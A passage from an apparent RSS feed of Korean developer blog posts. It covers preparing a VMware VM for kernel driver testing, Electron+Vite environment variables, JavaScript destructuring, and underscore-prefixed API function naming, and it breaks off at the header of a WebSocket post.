<li>디버깅 중 발생할 수 있는 충돌을 방지하기 위해 3D 가속 기능은 비활성화하였습니다.</li>
</ul>
<h4 id="6-운영체제-설치">6. 운영체제 설치</h4>
<ul>
<li>ISO 이미지를 통해 부팅 후 일반적인 Windows 설치 과정을 진행하였습니다.</li>
<li>설치 후 관리자 권한 계정으로 로그인하여 환경을 구성하였습니다.</li>
</ul>
<hr>
<h3 id="🔐-커널-테스트를-위한-사전-준비">🔐 커널 테스트를 위한 사전 준비</h3>
<ul>
<li><p><code>bcdedit /set testsigning on</code> 명령어로 <strong>테스트 서명 모드</strong>를 활성화하였습니다.</p>
<p>  이 명령은 테스트용 드라이버를 설치하거나 커널 레벨 코드를 실행할 수 있게 해줍니다.</p>
<p>  ⚠️ <strong>명령 실행 후에는 가상머신을 재부팅해야 적용됩니다.</strong> (실제 PC는 절대 재부팅 금지!)</p>
</li>
<li><p>Windows Defender와 기타 실시간 보안 프로그램은 임시로 비활성화하였습니다.</p>
<p>  커널 접근 시 과도한 보안 검사로 인한 충돌을 방지하기 위함입니다.</p>
</li>
<li><p>시스템 설정 직전에는 반드시 <strong>스냅샷을 생성</strong>하여 복구 지점을 확보하였습니다.</p>
<p>  문제가 발생할 경우 몇 초 만에 초기 상태로 복구할 수 있도록 준비해두는 것이 중요합니다.</p>
</li>
</ul>
<hr>
<h3 id="✅-마무리하며">✅ 마무리하며</h3>
<p>가상머신은 단순히 보조적인 개발 도구가 아닙니다.</p>
<p><strong>실수해도 안전하게 복구할 수 있는 실험실이자, 시스템 개발의 생명선</strong>입니다.</p>
<p>특히 커널 단 드라이버를 테스트하거나, 시스템 레벨에서 작동하는 후킹 또는 보안 코드를 개발하실 때는 반드시 가상머신에서 진행하시는 것을 추천드립니다.</p>
<p>그중에서도 <strong>VMware Workstation은 안정성, 편의성, 확장성</strong> 면에서 강력한 선택지였습니다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[Electron 메인 프로세스는 Node 환경인데… `process.env`가 안 된다?]]></title>
            <link>https://velog.io/@songyeonji_/Electron-%EB%A9%94%EC%9D%B8-%ED%94%84%EB%A1%9C%EC%84%B8%EC%8A%A4%EB%8A%94-Node-%ED%99%98%EA%B2%BD%EC%9D%B8%EB%8D%B0-process.env%EA%B0%80-%EC%95%88-%EB%90%9C%EB%8B%A4</link>
            <guid>https://velog.io/@songyeonji_/Electron-%EB%A9%94%EC%9D%B8-%ED%94%84%EB%A1%9C%EC%84%B8%EC%8A%A4%EB%8A%94-Node-%ED%99%98%EA%B2%BD%EC%9D%B8%EB%8D%B0-process.env%EA%B0%80-%EC%95%88-%EB%90%9C%EB%8B%A4</guid>
            <pubDate>Mon, 07 Jul 2025 00:56:23 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/songyeonji_/post/6fc40e0f-aaa1-4aa2-a84b-96cc82287a21/image.png" alt=""></p>
<p>Electron 앱을 개발하다가 <code>.env</code> 파일로 API 주소 같은 환경변수를 넣고 싶어서 이렇게 작성했어요.</p>
<pre><code class="language-tsx">
// main.ts
import * as dotenv from &#39;dotenv&#39;;
dotenv.config();

console.log(process.env.VITE_API_BASE_URL1); // ❌ undefined</code></pre>
<p>Node 환경에서 이 방식은 너무 당연하잖아요?</p>
<p>그런데 Electron에서는… 왜 이게 안 될까요?</p>
<hr>
<h3 id="❓-electron-메인은-node-환경-아닌가요">❓ Electron 메인은 Node 환경 아닌가요?</h3>
<p>Electron의 메인 프로세스(Main Process)는 실제로 Node.js 런타임 위에서 실행됩니다.</p>
<p><code>fs</code>, <code>child_process</code>, <code>path</code> 같은 Node 내장 모듈도 자유롭게 사용할 수 있고,</p>
<p><code>console.log(process.platform)</code>도 잘 찍혀요.</p>
<p>그래서 대부분의 개발자(저 포함)는 이렇게 생각합니다:</p>
<blockquote>
<p>“Node 환경이니까 .env + dotenv + process.env 조합이면 당연히 환경변수 잘 들어오겠지!”</p>
</blockquote>
<p>이 생각, 틀린 건 아니에요. Electron은 분명 Node 기반이니까요.</p>
<p>그런데 여기서 하나 간과한 게 있었습니다.</p>
<hr>
<h3 id="🧩-바로-vite를-쓰고-있다는-점">🧩 바로 <strong>&quot;Vite를 쓰고 있다는 점&quot;</strong></h3>
<p>Electron 프로젝트를 만들 때 Vite를 사용하는 경우가 많습니다.</p>
<p>렌더링 속도 빠르고, 설정 간단하고, React 기반 UI까지 바로 통합되니까요.</p>
<p>그런데…</p>
<h4 id="⚠️-vite는-단순-실행기가-아니라-정적-빌드-도구입니다">⚠️ Vite는 단순 실행기가 아니라 <strong>정적 빌드 도구</strong>입니다.</h4>
<p>즉, 우리가 작성한 코드를 실행하는 게 아니라,</p>
<p><strong>미리 빌드해서 정적인 결과물로 만들어주는 도구</strong>라는 점입니다.</p>
<p>이건 메인 프로세스(<code>main.ts</code>)도 예외가 아닙니다.</p>
<p>우리가 Vite로 메인도 같이 번들링하면,</p>
<p>그 순간부터는 Node 런타임에 의한 실행이 아니라</p>
<p><strong>Vite가 만들어낸 JS 결과물의 실행</strong>이 되는 거예요.</p>
<hr>
<h3 id="🔍-그럼-왜-vite는-processenv를-무시할까">🔍 그럼… 왜 Vite는 <code>process.env</code>를 무시할까?</h3>
<p>Vite는 빠른 개발환경과 빌드 성능을 위해 <strong>정적 분석(static analysis)</strong> 기반으로 작동합니다.</p>
<p>그래서 <strong>“코드 안에서 예측 가능한 부분만”</strong> 치환해줍니다.</p>
<p><code>process.env.XXX</code>는 <strong>런타임에 정해지는 값</strong>이라</p>
<p>Vite 입장에선 <strong>“이 값이 뭔지 미리 모른다”</strong> → <strong>아예 무시!</strong></p>
<p>반면 <code>import.meta.env.VITE_XXX</code>는</p>
<p>Vite가 <code>.env</code> 파일을 빌드 타임에 읽어서 코드에 직접 박아 넣어줄 수 있는 <strong>&quot;정적인 값&quot;</strong>입니다.</p>
<h4 id="📦-예시">📦 예시</h4>
<pre><code class="language-tsx">// 개발자가 작성한 코드
const apiUrl = import.meta.env.VITE_API_BASE_URL1;</code></pre>
<p>⬇ 빌드 후</p>
<pre><code class="language-tsx">const apiUrl = &quot;https://api.example.com&quot;; // 정적 치환됨!</code></pre>
<p>반면 이런 건?</p>
<pre><code class="language-tsx">console.log(process.env.VITE_API_BASE_URL1);</code></pre>
<p>⬇ 빌드 후에도 여전히</p>
<pre><code class="language-tsx">console.log(process.env.VITE_API_BASE_URL1); // undefined</code></pre>
<p>아무 처리도 되지 않은 채 남아 있다가,</p>
<p>실행 시에도 <code>.env</code>를 읽지 않으니 <code>undefined</code>가 되는 거죠.</p>
<hr>
<h3 id="🧪-그럼-개발-모드에서는-왜-processenv가-작동했던-거예요">🧪 그럼 개발 모드에서는 왜 <code>process.env</code>가 작동했던 거예요?</h3>
<p>여기서 많은 개발자가 헷갈립니다.</p>
<p>개발 모드에서는 Vite dev server가 Node 기반으로 돌아가고,</p>
<p>일부 경우 <code>process.env</code> 값이 들어가는 것처럼 보일 수 있어요.</p>
<p>이건 사실 Vite가 <code>define</code> 속성이나 <code>dotenv</code> 로딩을 통해 임시로 넣어준 값일 뿐,</p>
<p><strong>&quot;우연히&quot; 동작하는 것</strong>일 뿐입니다.</p>
<blockquote>
<p>✅ 개발 모드에서는 동작할 수도 있음</p>
<p>❌ 하지만 <strong>빌드 모드에서는 100% 무시됩니다</strong></p>
</blockquote>
<hr>
<h3 id="😵-흔히-겪는-착각들">😵 흔히 겪는 착각들</h3>
<table>
<thead>
<tr>
<th>❓질문</th>
<th>✅흔한 생각</th>
<th>❌실제 동작</th>
</tr>
</thead>
<tbody><tr>
<td>Electron 메인은 Node 환경이니까 <code>process.env</code> 되겠지?</td>
<td>맞는 말처럼 보임</td>
<td>Vite 빌드 시엔 무시됨</td>
</tr>
<tr>
<td><code>dotenv</code> 쓰면 <code>.env</code> 읽지 않나요?</td>
<td>Node에서는 맞음</td>
<td>Vite는 무시함</td>
</tr>
<tr>
<td><code>.env</code>만 바꾸면 반영되나요?</td>
<td>될 것 같지만</td>
<td>반드시 재빌드 필요</td>
</tr>
</tbody></table>
<hr>
<h4 id="⚙️-vite-vs-nodejs--환경변수-처리-비교">⚙️ Vite vs Node.js – 환경변수 처리 비교</h4>
<table>
<thead>
<tr>
<th>항목</th>
<th>Node.js (<code>process.env</code>)</th>
<th>Vite (<code>import.meta.env</code>)</th>
</tr>
</thead>
<tbody><tr>
<td>처리 시점</td>
<td>런타임</td>
<td>빌드타임</td>
</tr>
<tr>
<td>방식</td>
<td>dotenv 등으로 <code>.env</code> 읽음</td>
<td>Vite가 직접 코드에 값 치환</td>
</tr>
<tr>
<td>유연성</td>
<td><code>.env</code>만 바꿔도 바로 반영</td>
<td><code>.env</code> 바꾸면 반드시 재빌드</td>
</tr>
<tr>
<td>보안 제어</td>
<td>제한 없음</td>
<td><code>VITE_</code> 접두사로 제한</td>
</tr>
<tr>
<td>주 사용처</td>
<td>백엔드, CLI, 서버</td>
<td>프론트엔드, Electron, SPA 앱 등</td>
</tr>
</tbody></table>
<hr>
<h3 id="✅-electron--vite-환경에서의-결론-정리">✅ Electron + Vite 환경에서의 결론 정리</h3>
<table>
<thead>
<tr>
<th>위치</th>
<th>환경변수 접근법</th>
<th>설명</th>
</tr>
</thead>
<tbody><tr>
<td>렌더러 (React 등)</td>
<td><code>import.meta.env.VITE_XXX</code></td>
<td>✅ Vite가 치환</td>
</tr>
<tr>
<td>메인 프로세스 (main.ts)</td>
<td><code>import.meta.env.VITE_XXX</code></td>
<td>✅ 마찬가지로 Vite가 치환</td>
</tr>
<tr>
<td><code>process.env</code> 사용</td>
<td>❌ Vite 빌드 시 무시됨</td>
<td><code>undefined</code> 위험 있음</td>
</tr>
</tbody></table>
<h4 id="그렇다면--env만-바꾸면-바로-적용되나요--❌-아니요">그렇다면  <code>.env</code>만 바꾸면 바로 적용되나요?  ❌ 아니요!</h4>
<p>Vite는 <strong>빌드 타임</strong>에 <code>.env</code> 파일을 읽어서 코드를 바꾸기 때문에,</p>
<p><code>.env</code> 변경 후에는 반드시 <code>vite build</code> 같은 빌드 작업을 다시 해야 반영됩니다.</p>
<hr>
<h3 id="✅-최종-요약">✅ 최종 요약</h3>
<p>Electron 메인은 Node 환경이다 → process.env 가능
BUT Vite로 빌드하면 정적 분석 기반 → process.env 무시됨
→ import.meta.env.VITE_XXX 만 써야 함!</p>
<blockquote>
<p>Vite를 사용하는 순간, &quot;런타임의 유연성&quot;보다</p>
<p>&quot;빌드 시점의 확정성과 정적 최적화&quot;가 더 중요해집니다.</p>
<p>이 차이를 이해하는 것이 Electron + Vite 개발의 핵심이에요.</p>
</blockquote>
]]></description>
        </item>
        <item>
            <title><![CDATA[구조분해(Destructuring), 언제 쓰고 언제 쓰지 말아야 할까]]></title>
            <link>https://velog.io/@songyeonji_/%EA%B5%AC%EC%A1%B0%EB%B6%84%ED%95%B4Destructuring-%EC%96%B8%EC%A0%9C-%EC%93%B0%EA%B3%A0-%EC%96%B8%EC%A0%9C-%EC%93%B0%EC%A7%80-%EB%A7%90%EC%95%84%EC%95%BC-%ED%95%A0%EA%B9%8C</link>
            <guid>https://velog.io/@songyeonji_/%EA%B5%AC%EC%A1%B0%EB%B6%84%ED%95%B4Destructuring-%EC%96%B8%EC%A0%9C-%EC%93%B0%EA%B3%A0-%EC%96%B8%EC%A0%9C-%EC%93%B0%EC%A7%80-%EB%A7%90%EC%95%84%EC%95%BC-%ED%95%A0%EA%B9%8C</guid>
            <pubDate>Thu, 26 Jun 2025 09:44:20 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/songyeonji_/post/e50c334c-8b0a-48d5-85ff-d470f049f93c/image.png" alt=""></p>
<p>프론트엔드 개발을 하다 보면 코드 리뷰에서 이런 말을 자주 듣게 됩니다.</p>
<blockquote>
<p>“이거 구조분해 안 했어?”</p>
<p>“props에서 구조분해 해주세요”</p>
<p>“store 값 구조분해해서 써주세요”</p>
</blockquote>
<p>그렇다면 이 <strong>구조분해란 정확히 무엇일까요?</strong></p>
<p>그리고 <strong>왜 쓰는 게 좋고, 언제 쓰면 오히려 독이 되는 걸까요?</strong></p>
<p>실전 예시와 함께 <strong>정리된 구조분해 가이드</strong>를 알려드릴게요.</p>
<hr>
<h2 id="✅-구조분해란">✅ 구조분해란?</h2>
<p>JavaScript(또는 TypeScript)에서 <strong>객체나 배열의 값을 개별 변수로 뽑아내는 문법</strong>입니다.</p>
<pre><code class="language-tsx">
const user = { name: &#39;연지&#39;, age: 26 };

// 구조분해 없이
const name = user.name;
const age = user.age;

// 구조분해로
const { name, age } = user;</code></pre>
<hr>
<h2 id="⭐-구조분해의-장점">⭐ 구조분해의 장점</h2>
<table>
<thead>
<tr>
<th>항목</th>
<th>설명</th>
</tr>
</thead>
<tbody><tr>
<td>✅ 코드 간결성</td>
<td><code>obj.a</code> 대신 <code>a</code>로 바로 접근 가능</td>
</tr>
<tr>
<td>✅ 가독성 향상</td>
<td>필요한 값만 명확하게 추출</td>
</tr>
<tr>
<td>✅ 반복 제거</td>
<td><code>props.xxx</code>, <code>store.xxx</code> 등 중복 방지</td>
</tr>
<tr>
<td>✅ 함수 인자 간결화</td>
<td>매개변수에서 바로 구조분해 가능</td>
</tr>
<tr>
<td>✅ 코드 구조 명확화</td>
<td>어떤 값이 필요한지 선언적으로 보여줌</td>
</tr>
</tbody></table>
<h3 id="예시-props에서-구조분해">예시: <code>props</code>에서 구조분해</h3>
<pre><code class="language-tsx">
// 구조분해 X
function Profile(props: { name: string; age: number }) {
  return &lt;div&gt;{props.name} ({props.age})&lt;/div&gt;;
}

// 구조분해 O
function Profile({ name, age }: { name: string; age: number }) {
  return &lt;div&gt;{name} ({age})&lt;/div&gt;;
}
</code></pre>
<hr>
<h2 id="🎯-구조분해가-유용한-경우">🎯 구조분해가 유용한 경우</h2>
<h3 id="1-props-context-hook-등에서-여러-값을-가져올-때">1. <strong>props, context, hook 등에서 여러 값을 가져올 때</strong></h3>
<pre><code class="language-tsx">
const { t } = useTranslation();
const { userProfile } = useUserStore();</code></pre>
<h3 id="2-api-응답-상태값-등을-가독성-있게-분리할-때">2. <strong>API 응답, 상태값 등을 가독성 있게 분리할 때</strong></h3>
<pre><code class="language-tsx">
const { data, error } = await fetchData()</code></pre>
<h3 id="3-컴포넌트-매개변수에서-바로-속성-꺼낼-때">3. <strong>컴포넌트 매개변수에서 바로 속성 꺼낼 때</strong></h3>
<pre><code class="language-tsx">
const MyButton = ({ label, onClick }: ButtonProps) =&gt; (
  &lt;button onClick={onClick}&gt;{label}&lt;/button&gt;
);</code></pre>
<hr>
<h2 id="⚠️-구조분해를-피해야-할-경우-예외-케이스">⚠️ 구조분해를 피해야 할 경우 (예외 케이스)</h2>
<h3 id="1-중첩된-객체를-깊게-구조분해할-때">1. <strong>중첩된 객체를 깊게 구조분해할 때</strong></h3>
<pre><code class="language-tsx">
// ❌ 너무 깊은 구조분해
const { a: { b: { c, d } } } = obj;

// ✅ Optional chaining으로 접근하는 것이 더 명확
const c = obj?.a?.b?.c;
</code></pre>
<h3 id="2-필드가-너무-많을-때-ex-props-10개-이상">2. <strong>필드가 너무 많을 때 (ex. props 10개 이상)</strong></h3>
<pre><code class="language-tsx">
// ❌ 너무 많은 변수 풀림
const { a, b, c, d, e, f, g, h, i, j } = props;</code></pre>
<p>→ 이럴 땐 필요한 것만 부분 구조분해하거나, 그냥 <code>props.xxx</code>로 접근</p>
<hr>
<h3 id="3-변수명이-충돌할-수-있는-경우">3. <strong>변수명이 충돌할 수 있는 경우</strong></h3>
<pre><code class="language-tsx">
const { name } = user;
const name = &#39;내 이름&#39;; // 💥 충돌</code></pre>
<p>→ 구조분해 시 변수명을 바꿔주는 것이 안전</p>
<pre><code class="language-tsx">
const { name: userName } = user;</code></pre>
<hr>
<h3 id="4-단일-값만-필요할-때">4. <strong>단일 값만 필요할 때</strong></h3>
<pre><code class="language-tsx">
// ❌ 굳이 구조분해할 필요 없음
const { title } = post;
console.log(post.title);

// ✅ 그냥 post.title로 사용하는 게 더 직관적일 수도 있음</code></pre>
<hr>
<h3 id="5-로깅이나-디버깅-시">5. <strong>로깅이나 디버깅 시</strong></h3>
<p>전체 객체를 로그로 보고 싶을 때는 구조분해하지 말고 객체 통째로 넘기는 것이 낫습니다.</p>
<pre><code class="language-tsx">
console.log(user); // 전체 구조 확인 가능</code></pre>
<hr>
<h2 id="🧠-구조분해를-쓸지-말지-결정하는-기준">🧠 구조분해를 쓸지 말지 결정하는 기준</h2>
<table>
<thead>
<tr>
<th>상황</th>
<th>구조분해 사용</th>
</tr>
</thead>
<tbody><tr>
<td>필요한 속성이 여러 개일 때</td>
<td>✅</td>
</tr>
<tr>
<td><code>props.xxx</code>, <code>store.xxx</code> 반복될 때</td>
<td>✅</td>
</tr>
<tr>
<td>깊은 중첩 구조일 때</td>
<td>❌</td>
</tr>
<tr>
<td>변수명 충돌 우려가 있을 때</td>
<td>❌ 또는 별칭 사용</td>
</tr>
<tr>
<td>단일 값만 필요할 때</td>
<td>❌</td>
</tr>
<tr>
<td>디버깅용 로그나 전달용 객체일 때</td>
<td>❌</td>
</tr>
</tbody></table>
<hr>
<h2 id="🔚-마무리-정리">🔚 마무리 정리</h2>
<table>
<thead>
<tr>
<th>장점</th>
<th>주의점</th>
</tr>
</thead>
<tbody><tr>
<td>코드가 짧고 깔끔해짐</td>
<td>구조가 너무 복잡하면 가독성 저하</td>
</tr>
<tr>
<td>필요한 값만 명확하게 꺼냄</td>
<td>과도한 변수 선언, 네이밍 충돌 가능</td>
</tr>
<tr>
<td>유지보수/리팩터링에 유리</td>
<td>객체 구조 변경에 민감함</td>
</tr>
</tbody></table>
<hr>
<h2 id="✍️-한-줄-요약">✍️ 한 줄 요약</h2>
<blockquote>
<p>“구조분해는 잘 쓰면 깔끔한 칼, 남용하면 위험한 칼”입니다.
언제 꺼내 쓸지 잘 판단하는 눈이 중요해요 👀”</p>
</blockquote>
]]></description>
        </item>
        <item>
            <title><![CDATA[함수명 앞에 _(언더스코어) 를 붙이는 이유는 뭘까?]]></title>
            <link>https://velog.io/@songyeonji_/%ED%95%A8%EC%88%98%EB%AA%85-%EC%95%9E%EC%97%90-%EC%96%B8%EB%8D%94%EC%8A%A4%EC%BD%94%EC%96%B4-%EB%A5%BC-%EB%B6%99%EC%9D%B4%EB%8A%94-%EC%9D%B4%EC%9C%A0%EB%8A%94-%EB%AD%98%EA%B9%8C</link>
            <guid>https://velog.io/@songyeonji_/%ED%95%A8%EC%88%98%EB%AA%85-%EC%95%9E%EC%97%90-%EC%96%B8%EB%8D%94%EC%8A%A4%EC%BD%94%EC%96%B4-%EB%A5%BC-%EB%B6%99%EC%9D%B4%EB%8A%94-%EC%9D%B4%EC%9C%A0%EB%8A%94-%EB%AD%98%EA%B9%8C</guid>
            <pubDate>Thu, 26 Jun 2025 07:21:59 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/songyeonji_/post/76cdf8c5-0665-4e66-a1da-7d875f7baead/image.png" alt="">
프론트엔드 프로젝트를 하다 보면 함수 이름 앞에 <code>_</code>(언더스코어)가 붙은 코드를 종종 보게 됩니다.</p>
<p>예를 들면 <code>_getUser</code>, <code>_registerLeader</code> 같은 함수들이죠.</p>
<p>처음엔 단순한 스타일 차이 정도로 생각하기 쉽지만,</p>
<p>실제로는 이 방식이 <strong>실무에서 꽤 널리 쓰이는 네이밍 컨벤션</strong>이라는 걸 알게 됩니다.</p>
<p>이번 글에서는</p>
<ul>
<li>왜 함수 앞에 <code>_</code>를 붙이는지</li>
<li>언제 쓰고 언제 안 쓰는지</li>
<li>어떤 상황에서 유용한지</li>
<li>실제로 제가 작업한 코드에서 어떻게 적용했는지를 기준으로 정리해 보려고 합니다.</li>
</ul>
<hr>
<h3 id="✅-_는-이건-내부-전용입니다라는-뜻이에요">✅ <code>_</code>는 &quot;이건 내부 전용입니다&quot;라는 뜻이에요</h3>
<p>TypeScript에서는 클래스 내부가 아니라면 <code>private</code> 접근 제한자를 사용할 수 없습니다.</p>
<p>그래서 함수 이름에 <code>_</code>를 붙여 <strong>개발자끼리의 약속처럼 &quot;이건 외부에서 직접 호출하지 마세요&quot;</strong>라는 의미를 표현합니다.</p>
<p>이걸 문법적으로 막을 수는 없지만, <strong>의도를 명확히 드러내는 방식</strong>이죠.</p>
<p>예를 들어 아래처럼 구조를 나눕니다:</p>
<pre><code class="language-tsx">// 내부 전용 - 순수 API 호출
const _getUser = createPostApi(&#39;/api/getUser&#39;);

// 외부에 노출할 래퍼 함수
export const getUser = (params) =&gt; {
  console.log(&#39;[API 요청]&#39;, params);
  return _getUser(params).then(...).catch(...);
};</code></pre>
<p>이렇게 하면 <code>_getUser()</code>는 실제로는 외부에서 직접 쓰지 않고,</p>
<p><code>getUser()</code>만 import해서 사용하게 됩니다.</p>
<blockquote>
<p>이런 식으로 작성하면 코드를 읽는 사람 입장에서도 </p>
</blockquote>
<p>“아, 이 함수는 외부에서 직접 쓰는 게 아니라 내부에서만 호출해야겠구나” 하고 자연스럽게 받아들이게 됩니다.</p>
<blockquote>
</blockquote>
<hr>
<h3 id="✅-그럼-모든-함수에-_를-붙여야-할까-그렇진-않습니다">✅ 그럼 모든 함수에 <code>_</code>를 붙여야 할까? 그렇진 않습니다.</h3>
<p>실제로 제가 작업했던 프로젝트에서도 모든 API 함수에 <code>_</code>를 붙이지는 않았습니다.</p>
<p>예를 들어 <code>leader.ts</code> 모듈에서는 <code>_registerLeader</code>, <code>_requestManager</code> 등</p>
<p>내부 전용 함수에 <code>_</code>를 붙인 반면,</p>
<p><code>department.ts</code> 모듈에서는 <code>getDepartments</code>, <code>addDepartment</code> 같은 함수들을 별도 구분 없이 바로 export했습니다.</p>
<h4 id="이-차이는-구조와-의도에-따라-나뉩니다">이 차이는 구조와 의도에 따라 나뉩니다:</h4>
<table>
<thead>
<tr>
<th>구조 형태</th>
<th><code>_</code> 사용 여부</th>
<th>이유</th>
</tr>
</thead>
<tbody><tr>
<td>내부 전용 함수 + 래퍼 함수가 분리됨</td>
<td>✅ 사용</td>
<td>역할이 나뉘어 있고, 직접 호출을 막기 위해</td>
</tr>
<tr>
<td>export하는 함수가 바로 사용됨</td>
<td>❌ 사용 안 함</td>
<td>중간 래핑 없이 단일 책임이므로 구분 필요 없음</td>
</tr>
</tbody></table>
<hr>
<h3 id="✅-실무에서는-어떤-기준으로-쓰게-될까">✅ 실무에서는 어떤 기준으로 쓰게 될까?</h3>
<p>저는 아래 기준 중 하나라도 해당되면 <code>_</code>를 붙여 내부용 함수로 작성하는 편입니다:</p>
<ul>
<li>해당 함수는 <strong>axios 같은 순수 API 호출만 처리</strong>하고, 사용자 응답 처리나 로깅은 하지 않을 때</li>
<li><strong>로깅, 에러 메시지, 토스트 처리 등을 담당하는 래퍼 함수가 따로 있을 때</strong></li>
<li><strong>내부적으로만 재사용하고, 외부에는 노출되지 않아야 하는 유틸 로직일 때</strong></li>
<li>테스트나 mocking 대상일 뿐, UI 흐름에는 사용되지 않을 때</li>
</ul>
<p>반대로 아래 상황에서는 <code>_</code> 없이 함수명을 바로 export합니다:</p>
<ul>
<li>컴포넌트나 다른 모듈에서 <strong>직접 호출될 목적으로 만들어진 함수</strong></li>
<li>함수 자체가 간단해서 래핑이 필요 없는 경우 (ex. CRUD 단일 처리)</li>
<li><strong>별도 래퍼가 존재하지 않고, 그대로 공식 함수 역할을 할 때</strong></li>
</ul>
<hr>
<h4 id="팀-컨벤션으로-정리하면-이런-식입니다">팀 컨벤션으로 정리하면 이런 식입니다</h4>
<pre><code class="language-markdown">API 네이밍 컨벤션

- `_함수명`: 내부 전용 함수. API 요청만 수행. 예외 처리, 사용자 피드백 없음.
- `함수명`: 외부에서 사용하는 공식 함수. 로깅, 에러 핸들링, 응답 가공 포함.
- `use함수명`: React에서 사용하는 커스텀 훅. get 함수 호출을 감싸서 상태 관리.</code></pre>
<hr>
<h4 id="실제-디렉터리-구조에-적용해보면">실제 디렉터리 구조에 적용해보면</h4>
<pre><code class="language-bash">/src
  └── api
        └── user.ts           # _getUser, getUser
  └── hooks
        └── useUser.ts        # useUser</code></pre>
<ul>
<li><code>api</code> 폴더에는 <code>_</code> 접두사가 붙은 내부 API 함수와 래퍼 함수가 함께 정의되고,</li>
<li><code>hooks</code> 폴더에는 외부 API를 감싸는 <code>useXXX</code> 형태의 훅이 정의됩니다.</li>
</ul>
<hr>
<h4 id="테스트-유지보수-협업-모두에-도움이-됩니다">테스트, 유지보수, 협업 모두에 도움이 됩니다</h4>
<ul>
<li><code>_함수</code>는 mocking이나 테스트에서 훨씬 다루기 쉬워요.</li>
<li><code>export</code>된 래퍼 함수는 외부에서는 항상 일정한 방식으로 응답을 처리하게 만들어 줍니다.</li>
<li>또한 역할이 명확하게 나뉘기 때문에, 협업 중에도 함수가 어떤 용도로 쓰이는지 쉽게 파악할 수 있습니다.</li>
</ul>
<pre><code class="language-tsx">//내부 API 함수만 mocking해서 래퍼 함수는 실제 흐름대로 테스트할 수 있습니다.
jest.mock(&#39;@/api/user&#39;, () =&gt; ({
  _getUser: jest.fn().mockResolvedValue(mockData)
}));</code></pre>
<h4 id="📦-래퍼-함수란">📦 래퍼 함수란?</h4>
<blockquote>
<p>다른 함수(또는 로직)를 감싸서, 추가 동작을 함께 수행하는 함수를 말합니다.</p>
<p>즉, &quot;기존 기능을 그대로 호출하되, 그 앞뒤로 무언가 더 하는 함수&quot;예요.</p>
<p>포장지(wrap)처럼 감싼다고 해서 &quot;래퍼(wrapper)&quot;라는 이름이 붙었어요.</p>
</blockquote>
<ul>
<li>래퍼 함수의 역할 요약</li>
</ul>
<table>
<thead>
<tr>
<th>역할</th>
<th>설명</th>
</tr>
</thead>
<tbody><tr>
<td>로깅 추가</td>
<td>요청 전후 로그를 출력</td>
</tr>
<tr>
<td>에러 핸들링</td>
<td>try/catch 또는 toast 처리</td>
</tr>
<tr>
<td>응답 가공</td>
<td><code>res.data.result</code> 등 필요한 데이터만 추출</td>
</tr>
<tr>
<td>보안 처리, 권한 검사 등 추가로직</td>
<td>필요시 삽입 가능</td>
</tr>
<tr>
<td>- 실무에서 래퍼 함수가 필요한 이유</td>
<td></td>
</tr>
<tr>
<td>- <strong>순수 API 함수는 재사용성이 높고 테스트가 쉬움</strong> → <code>_함수</code></td>
<td></td>
</tr>
<tr>
<td>- <strong>래퍼 함수는 사용자 경험, 로깅, 예외처리를 담당</strong> → 실제 호출은 여기서만 하도록 설계</td>
<td></td>
</tr>
</tbody></table>
<pre><code>&gt; 이렇게 나누면 **책임이 분리되고 코드가 더 읽기 쉬워지고**, 
실수로 순수 함수만 호출해서 문제가 생기는 걸 막을 수 있습니다.
&gt; </code></pre><ul>
<li><p>간단한 정의로 정리</p>
<blockquote>
<p>래퍼 함수는 어떤 함수나 로직을 감싸서, 부가적인 동작을 함께 수행하는 함수입니다.</p>
<p>API 요청뿐 아니라, 로깅, 오류 처리, 응답 정리 등을 포함할 때 주로 사용됩니다.</p>
</blockquote>
</li>
</ul>
<hr>
<h4 id="_를-안-쓰면-생기는-문제도-있어요"><code>_</code>를 안 쓰면 생기는 문제도 있어요</h4>
<ul>
<li>함수의 역할이 모호해져서, 테스트나 구조 분해가 어렵습니다.</li>
<li>실수로 내부 함수 (<code>_getUser</code>)를 외부에서 import해서 써버릴 수도 있어요.</li>
<li>에러 처리나 로깅 없이 API가 호출되면, 사용자 입장에선 아무 반응이 없어서 불편할 수 있어요.</li>
</ul>
<p>이런 이유로 대부분의 실무 코드에서는 <code>_</code>를 통해 책임을 분리하고,</p>
<p>함수의 성격에 맞게 구분하는 방식을 선택하고 있습니다.</p>
<hr>
<h3 id="📌-마무리-단순한-스타일이-아닌-설계의-결과">📌 마무리: 단순한 스타일이 아닌 설계의 결과</h3>
<p>함수명 앞에 <code>_</code>를 붙이는 건 단지 네이밍 스타일이 아닙니다.</p>
<p><strong>코드의 책임과 사용 범위를 명확히 하기 위한 실용적인 컨벤션</strong>입니다.</p>
<ul>
<li>실수로 잘못된 함수를 import하지 않도록 도와주고</li>
<li>테스트와 디버깅을 쉽게 만들어주며</li>
<li>코드 구조에 일관성을 부여합니다</li>
</ul>
<p>특히 <strong>복잡한 API 처리, 민감한 보안 기능, 사용자 피드백이 필요한 영역</strong>에서는</p>
<p>순수 API 호출과 부가 로직을 분리하는 구조가 큰 도움이 됩니다.</p>
<p>이런 구조는 협업에서도 이해하기 쉽고, 유지보수 시에 의도를 파악하기 쉬워서 장기적으로 효율적인 패턴이 됩니다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[웹소켓(WebSocket) 재연결 전략과 절전모드 감지: 하트비트 vs 핑퐁]]></title>
            <link>https://velog.io/@songyeonji_/%EC%9B%B9%EC%86%8C%EC%BC%93WebSocket-%EC%9E%AC%EC%97%B0%EA%B2%B0-%EC%A0%84%EB%9E%B5%EA%B3%BC-%EC%A0%88%EC%A0%84%EB%AA%A8%EB%93%9C-%EA%B0%90%EC%A7%80-%ED%95%98%ED%8A%B8%EB%B9%84%ED%8A%B8-vs-%ED%95%91%ED%90%81</link>
            <guid>https://velog.io/@songyeonji_/%EC%9B%B9%EC%86%8C%EC%BC%93WebSocket-%EC%9E%AC%EC%97%B0%EA%B2%B0-%EC%A0%84%EB%9E%B5%EA%B3%BC-%EC%A0%88%EC%A0%84%EB%AA%A8%EB%93%9C-%EA%B0%90%EC%A7%80-%ED%95%98%ED%8A%B8%EB%B9%84%ED%8A%B8-vs-%ED%95%91%ED%90%81</guid>
            <pubDate>Thu, 26 Jun 2025 04:23:18 GMT</pubDate>
